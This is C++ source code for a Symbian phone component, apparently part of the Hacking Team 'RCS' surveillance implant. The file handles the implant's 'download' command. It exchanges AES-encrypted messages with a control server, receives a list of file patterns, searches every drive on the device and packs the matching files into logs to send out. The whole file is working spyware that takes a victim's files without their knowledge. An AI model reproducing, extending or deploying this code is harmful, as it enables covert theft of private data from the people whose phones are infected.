Core/src/StateDownload.cpp
/*
* StateDownload.cpp
*
* Created on: 23/feb/2011
* Author: Giovanna
*/
#include "StateDownload.h"
#include "Keys.h"
#include "AdditionalDataStructs.h"
#include <HT\LogFile.h>
#include <HT\ShaUtils.h>
#include <HT\AES.h>
#include <HT\RESTUtils.h>
#include <HT\FileUtils.h>
CStateDownload::CStateDownload(MStateObserver& aObserver) : CAbstractState(EState_Download, aObserver)
{
// No implementation required
}
CStateDownload::~CStateDownload()
{
delete iRequestData;
delete iResponseData;
delete iLongTask;
iFilesArray->Reset(); //TODO: maybe move somewhere else?
delete iFilesArray;
iFs.Close();
}
CStateDownload* CStateDownload::NewLC(MStateObserver& aObserver)
{
CStateDownload* self = new (ELeave) CStateDownload(aObserver);
CleanupStack::PushL(self);
self->ConstructL();
return self;
}
CStateDownload* CStateDownload::NewL(MStateObserver& aObserver)
{
CStateDownload* self = CStateDownload::NewLC(aObserver);
CleanupStack::Pop(); // self;
return self;
}
void CStateDownload::ConstructL()
{
iLongTask = CLongTaskAO::NewL(*this);
iFilesArray = new (ELeave) CDesCArrayFlat(5); //5=granularity
iFs.Connect();
FileUtils::CompleteWithPrivatePathL(iFs, iPrivatePath);
}
void CStateDownload::ActivateL(const TDesC8& aData)
{
// Parameter aData stores the K key
iSignKey.Copy(aData);
TBuf8<32> plainBody;
//append command
plainBody.Copy(KProto_Download);
//calculate SHA1
TBuf8<20> sha;
ShaUtils::CreateSha(plainBody,sha);
//append SHA1
plainBody.Append(sha);
//encrypt
RBuf8 buff(AES::EncryptPkcs5L(plainBody, KIV, iSignKey));
buff.CleanupClosePushL();
//add REST header
HBufC8* header = iObserver.GetRequestHeaderL();
TBuf8<32> contentLengthLine;
contentLengthLine.Append(KContentLength);
contentLengthLine.AppendNum(buff.Size());
contentLengthLine.Append(KNewLine);
iRequestData = HBufC8::NewL(header->Size()+contentLengthLine.Size()+KNewLine().Size()+buff.Size());
iRequestData->Des().Append(*header);
delete header;
iRequestData->Des().Append(contentLengthLine);
iRequestData->Des().Append(KNewLine);
iRequestData->Des().Append(buff);
CleanupStack::PopAndDestroy(&buff);
//send
iObserver.SendStateDataL(*iRequestData);
}
void CStateDownload::ProcessDataL(const TDesC8& aData)
{
//free resources
delete iRequestData;
iRequestData = NULL;
if(aData.Size()!=0)
{
if(iResponseData == NULL)
{
iResponseData = aData.AllocL();
}
else
{
TInt size = iResponseData->Size();
iResponseData = iResponseData->ReAllocL(size+aData.Size()); //TODO:check the result of allocation
iResponseData->Des().Append(aData);
}
return;
}
if(iResponseData->Find(KApplicationOS)==KErrNotFound)
{
//server answered with a redirect
iObserver.ResponseError(KErrContent);
return;
}
//extract body from response
RBuf8 body(CRestUtils::GetBodyL(*iResponseData));
body.CleanupClosePushL();
RBuf8 plainBody(AES::DecryptPkcs5L(body,KIV,iSignKey));
CleanupStack::PopAndDestroy(&body);
plainBody.CleanupClosePushL();
//check sha1
if(!ShaUtils::ValidateSha(plainBody.Left(plainBody.Size()-20),plainBody.Right(20)))
{
CleanupStack::PopAndDestroy(&plainBody);
iObserver.ResponseError(KErrSha);
return;
}
//check response
if(plainBody.Left(4).Compare(KProto_Ok) == 0)
{
FindFilesL(plainBody.Right(plainBody.Size()-8),iFilesArray); //8=KProto_Ok|len
}
CleanupStack::PopAndDestroy(&plainBody);
if(iFilesArray->Count()>0)
{
iFileIndex = 0;
iLongTask->NextRound();
}
else
iObserver.ChangeStateL();
}
TBool CStateDownload::MalformedPath(const TDesC& aPath)
{
_LIT(KErr1,".\\"); //this is usually a typo, e.g "E.\" instead of "E:\"
_LIT(KErr2,"\\*\\"); //this is simply a stupid request, as in "\*\"
if((aPath.FindF(KErr1) != KErrNotFound) || (aPath.FindF(KErr2) != KErrNotFound))
return ETrue;
else
return EFalse;
}
void CStateDownload::FindFilesL(const TDesC8& aFileList,CDesCArrayFlat* aFilesArray)
{
//retrieve the num of required files
TUint8* ptr = (TUint8 *)aFileList.Ptr();
TUint32 numFiles = 0;
Mem::Copy(&numFiles, ptr, 4);
ptr += sizeof(TUint32);
for(TInt i=0; i<numFiles; i++)
{
//retrieve search-string len
TUint32 len = 0;
Mem::Copy(&len,ptr,4);
ptr += sizeof(TUint32);
//retrieve search string
HBufC* searchString = HBufC::NewL(len);
if (len > 0)
{
TUint8 totChars = (len-2) / 2;
TPtr16 ptrNum((TUint16 *) ptr, totChars, totChars);
searchString->Des().Append(ptrNum);
//check string, check typo errors like "E.\" or stupid requests such as "\*\"
if(!MalformedPath(*searchString))
{
StartScanL(iFs,*searchString,aFilesArray);
}
}
delete searchString;
ptr += len;
}
}
//TFindFile and CFileMan classes support the use of wildcard characters.
//An asterisk indicates any number of characters, and a question mark indicates a single character.
//Note that in the context of these classes, * and *.* are equivalent and match to all files,
//with and without extensions. Filename matching is case insensitive.
void CStateDownload::StartScanL(RFs& aFs,const TDesC& aSearchString, CDesCArray* aFileArray)
{
//retrieve all drives in mobile
_LIT(KFormat,"%c:\\");
TDriveList driveList;
TInt err = aFs.DriveList(driveList);
if(err != KErrNone)
return;
for(TInt driveNumber=EDriveA; driveNumber<=EDriveZ; driveNumber++)
{
if (driveList[driveNumber]) /** now we iterate through all the available drives */
{
TChar driveLetter;
err = aFs.DriveToChar(driveNumber,driveLetter);
TBuf<8> buf;
buf.Format(KFormat,(TUint)driveLetter);
CDirScan* dirScan = CDirScan::NewLC(aFs);
dirScan->SetScanDataL(buf, KEntryAttDir|KEntryAttMatchExclusive, ESortNone, CDirScan::EScanDownTree);
while(1)
{
CDir* dir = NULL;
TRAPD(err, dirScan->NextL(dir));
if(err == KErrPermissionDenied) //we could'nt have the required capab
{
delete dir;
continue;
}
if (dir == NULL) //there are no more directory to iterate
{
break;
}
delete dir;
ScanDirectory(aFs, dirScan->FullPath(), aSearchString, aFileArray);
}
CleanupStack::PopAndDestroy(dirScan);
}
}
}
void CStateDownload::ScanDirectory(RFs& aFs, const TDesC& aDir, const TDesC& aWild, CDesCArray* aFilesArray)
{
TParse parse;
parse.Set(aWild, &aDir, NULL);
TPtrC spec(parse.FullName());
TFindFile FindFile(aFs);
CDir* dir;
if (FindFile.FindWildByPath(parse.FullName(), NULL, dir) == KErrNone)
{
CleanupStack::PushL(dir);
TInt count=dir->Count();
for(TInt i = 0; i < count; i++)
{
parse.Set((*dir)[i].iName, &spec, NULL);
TEntry entry;
if(aFs.Entry(parse.FullName(),entry) == KErrNone)
{
if(!entry.IsDir())
{
//InsertIsqL raises a KErrAlreadyExists (-11) when inserting a duplicate
TRAPD(err,aFilesArray->InsertIsqL(parse.FullName()));
}
}
}
CleanupStack::PopAndDestroy(dir);
}
}
void CStateDownload::DumpFileL(const TDesC& aFileName)
{
_LIT(KNull,"\x00");
_LIT(KDir,"$dir$");
TDownloadAdditionalData additionalData;
//check if file it's inside RCS secret dir
TParsePtrC parsePtrC(aFileName);
if(iPrivatePath.CompareF(parsePtrC.DriveAndPath())==0)
{
//the file is in the private dir, we have to modify the path
additionalData.fileName.Copy(KDir);
additionalData.fileName.Append(parsePtrC.NameAndExt());
additionalData.fileName.Append(KNull); //add NULL terminator
additionalData.uFileNamelen = additionalData.fileName.Size();
}
else
{
additionalData.fileName.Copy(aFileName);
additionalData.fileName.Append(KNull); //add NULL terminator
additionalData.uFileNamelen = additionalData.fileName.Size();
}
RBuf8 fileBuf(FileUtils::ReadFileContentsL(iFs, aFileName));
if(fileBuf.Size()>0)
{
fileBuf.CleanupClosePushL();
CLogFile* logFile = CLogFile::NewLC(iFs);
logFile->CreateLogL(LOGTYPE_DOWNLOAD, &additionalData);
logFile->AppendLogL(fileBuf);
logFile->CloseLogL();
CleanupStack::PopAndDestroy(logFile);
CleanupStack::PopAndDestroy(&fileBuf);
}
else
{
//something went wrong, usually a KErrNoMemory has been raised
_LIT(KDownloadError,"Error in downloading file");
CBufBase* buffer = CBufFlat::NewL(50);
CleanupStack::PushL(buffer);
buffer->InsertL(buffer->Size(),(TUint8*)KDownloadError().Ptr(),KDownloadError().Size());
HBufC8* byteBuf = buffer->Ptr(0).AllocLC();
CLogFile* logFile = CLogFile::NewLC(iFs);
logFile->CreateLogL(LOGTYPE_INFO);
logFile->AppendLogL(*byteBuf);
logFile->CloseLogL();
CleanupStack::PopAndDestroy(logFile);
CleanupStack::PopAndDestroy(byteBuf);
CleanupStack::PopAndDestroy(buffer);
}
}
void CStateDownload::DoOneRoundL()
{
if (iStopLongTask)
{
iObserver.ChangeStateL();
return;
}
if(iFileIndex < iFilesArray->Count())
{
DumpFileL(iFilesArray->MdcaPoint(iFileIndex));
iFileIndex++;
iLongTask->NextRound();
}
else
iObserver.ChangeStateL();
}